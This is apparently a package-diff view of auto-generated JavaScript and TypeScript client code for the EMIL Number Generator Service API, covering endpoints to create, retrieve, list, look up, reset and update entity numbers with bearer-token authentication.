| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (pageSize !== undefined) { | ||
| localVarQueryParameter['pageSize'] = pageSize; | ||
| } | ||
| if (pageToken !== undefined) { | ||
| localVarQueryParameter['pageToken'] = pageToken; | ||
| } | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (search !== undefined) { | ||
| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber: function (lookupNumberRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'lookupNumberRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('lookupNumber', 'lookupNumberRequestDto', lookupNumberRequestDto); | ||
| localVarPath = "/numbergenerator/v1/numbers/lookup"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(lookupNumberRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber: function (resetNumberRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'resetNumberRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('resetNumber', 'resetNumberRequestDto', resetNumberRequestDto); | ||
| localVarPath = "/numbergenerator/v1/numbers/reset"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(resetNumberRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber: function (code, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('updateNumber', 'code', code); | ||
| localVarPath = "/numbergenerator/v1/numbers/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'PUT' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.NumbersApiAxiosParamCreator = NumbersApiAxiosParamCreator; | ||
| /** | ||
| * NumbersApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var NumbersApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.NumbersApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber: function (slug, type, config, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.createNumber(slug, type, config, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber: function (code, expand, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.getNumber(code, expand, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.listNumbers(authorization, pageSize, pageToken, filter, search, order, expand, filters, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber: function (lookupNumberRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.lookupNumber(lookupNumberRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber: function (resetNumberRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.resetNumber(resetNumberRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber: function (code, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.updateNumber(code, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.NumbersApiFp = NumbersApiFp; | ||
| /** | ||
| * NumbersApi - factory interface | ||
| * @export | ||
| */ | ||
| var NumbersApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.NumbersApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber: function (slug, type, config, authorization, options) { | ||
| return localVarFp.createNumber(slug, type, config, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber: function (code, expand, authorization, options) { | ||
| return localVarFp.getNumber(code, expand, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| return localVarFp.listNumbers(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber: function (lookupNumberRequestDto, authorization, options) { | ||
| return localVarFp.lookupNumber(lookupNumberRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber: function (resetNumberRequestDto, authorization, options) { | ||
| return localVarFp.resetNumber(resetNumberRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber: function (code, authorization, options) { | ||
| return localVarFp.updateNumber(code, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.NumbersApiFactory = NumbersApiFactory; | ||
| /** | ||
| * NumbersApi - object-oriented interface | ||
| * @export | ||
| * @class NumbersApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var NumbersApi = /** @class */ (function (_super) { | ||
| __extends(NumbersApi, _super); | ||
| function NumbersApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {NumbersApiCreateNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| NumbersApi.prototype.createNumber = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.NumbersApiFp)(this.configuration).createNumber(requestParameters.slug, requestParameters.type, requestParameters.config, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {NumbersApiGetNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| NumbersApi.prototype.getNumber = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.NumbersApiFp)(this.configuration).getNumber(requestParameters.code, requestParameters.expand, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {NumbersApiListNumbersRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| NumbersApi.prototype.listNumbers = function (requestParameters, options) { | ||
| var _this = this; | ||
| if (requestParameters === void 0) { requestParameters = {}; } | ||
| return (0, exports.NumbersApiFp)(this.configuration).listNumbers(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {NumbersApiLookupNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| NumbersApi.prototype.lookupNumber = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.NumbersApiFp)(this.configuration).lookupNumber(requestParameters.lookupNumberRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {NumbersApiResetNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| NumbersApi.prototype.resetNumber = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.NumbersApiFp)(this.configuration).resetNumber(requestParameters.resetNumberRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {NumbersApiUpdateNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| NumbersApi.prototype.updateNumber = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.NumbersApiFp)(this.configuration).updateNumber(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return NumbersApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.NumbersApi = NumbersApi; |
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| import { AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| export declare const BASE_PATH: string; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const COLLECTION_FORMATS: { | ||
| csv: string; | ||
| ssv: string; | ||
| tsv: string; | ||
| pipes: string; | ||
| }; | ||
| export interface LoginClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export interface SwitchWorkspaceRequest { | ||
| username: string; | ||
| targetWorkspace: string; | ||
| } | ||
| export interface SwitchWorkspaceResponseClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export declare enum Environment { | ||
| Production = "https://apiv2.emil.de", | ||
| Test = "https://apiv2-test.emil.de", | ||
| Staging = "https://apiv2-staging.emil.de", | ||
| Development = "https://apiv2-dev.emil.de", | ||
| ProductionZurich = "https://eu-central-2.apiv2.emil.de" | ||
| } | ||
| export declare function resetRetry(): void; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface RequestArgs | ||
| */ | ||
| export interface RequestArgs { | ||
| url: string; | ||
| options: AxiosRequestConfig; | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| * @class BaseAPI | ||
| */ | ||
| export declare class BaseAPI { | ||
| protected basePath: string; | ||
| protected axios: AxiosInstance; | ||
| protected configuration: Configuration; | ||
| private username?; | ||
| private password?; | ||
| constructor(configuration?: Configuration, basePath?: string, axios?: AxiosInstance); | ||
| initialize(env?: Environment, targetWorkspace?: string): Promise<void>; | ||
| private loadCredentials; | ||
| private readConfigFile; | ||
| private readEnvVariables; | ||
| selectEnvironment(env: Environment): void; | ||
| authorize(username: string, password: string, targetWorkspace?: string): Promise<void>; | ||
| switchWorkspace(targetWorkspace: string): Promise<void>; | ||
| refreshTokenInternal(): Promise<string>; | ||
| private extractRefreshToken; | ||
| getConfiguration(): Configuration; | ||
| private attachInterceptor; | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| * @class RequiredError | ||
| * @extends {Error} | ||
| */ | ||
| export declare class RequiredError extends Error { | ||
| field: string; | ||
| name: "RequiredError"; | ||
| constructor(field: string, msg?: string); | ||
| } |
-434
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { | ||
| Object.defineProperty(o, "default", { enumerable: true, value: v }); | ||
| }) : function(o, v) { | ||
| o["default"] = v; | ||
| }); | ||
| var __importStar = (this && this.__importStar) || function (mod) { | ||
| if (mod && mod.__esModule) return mod; | ||
| var result = {}; | ||
| if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); | ||
| __setModuleDefault(result, mod); | ||
| return result; | ||
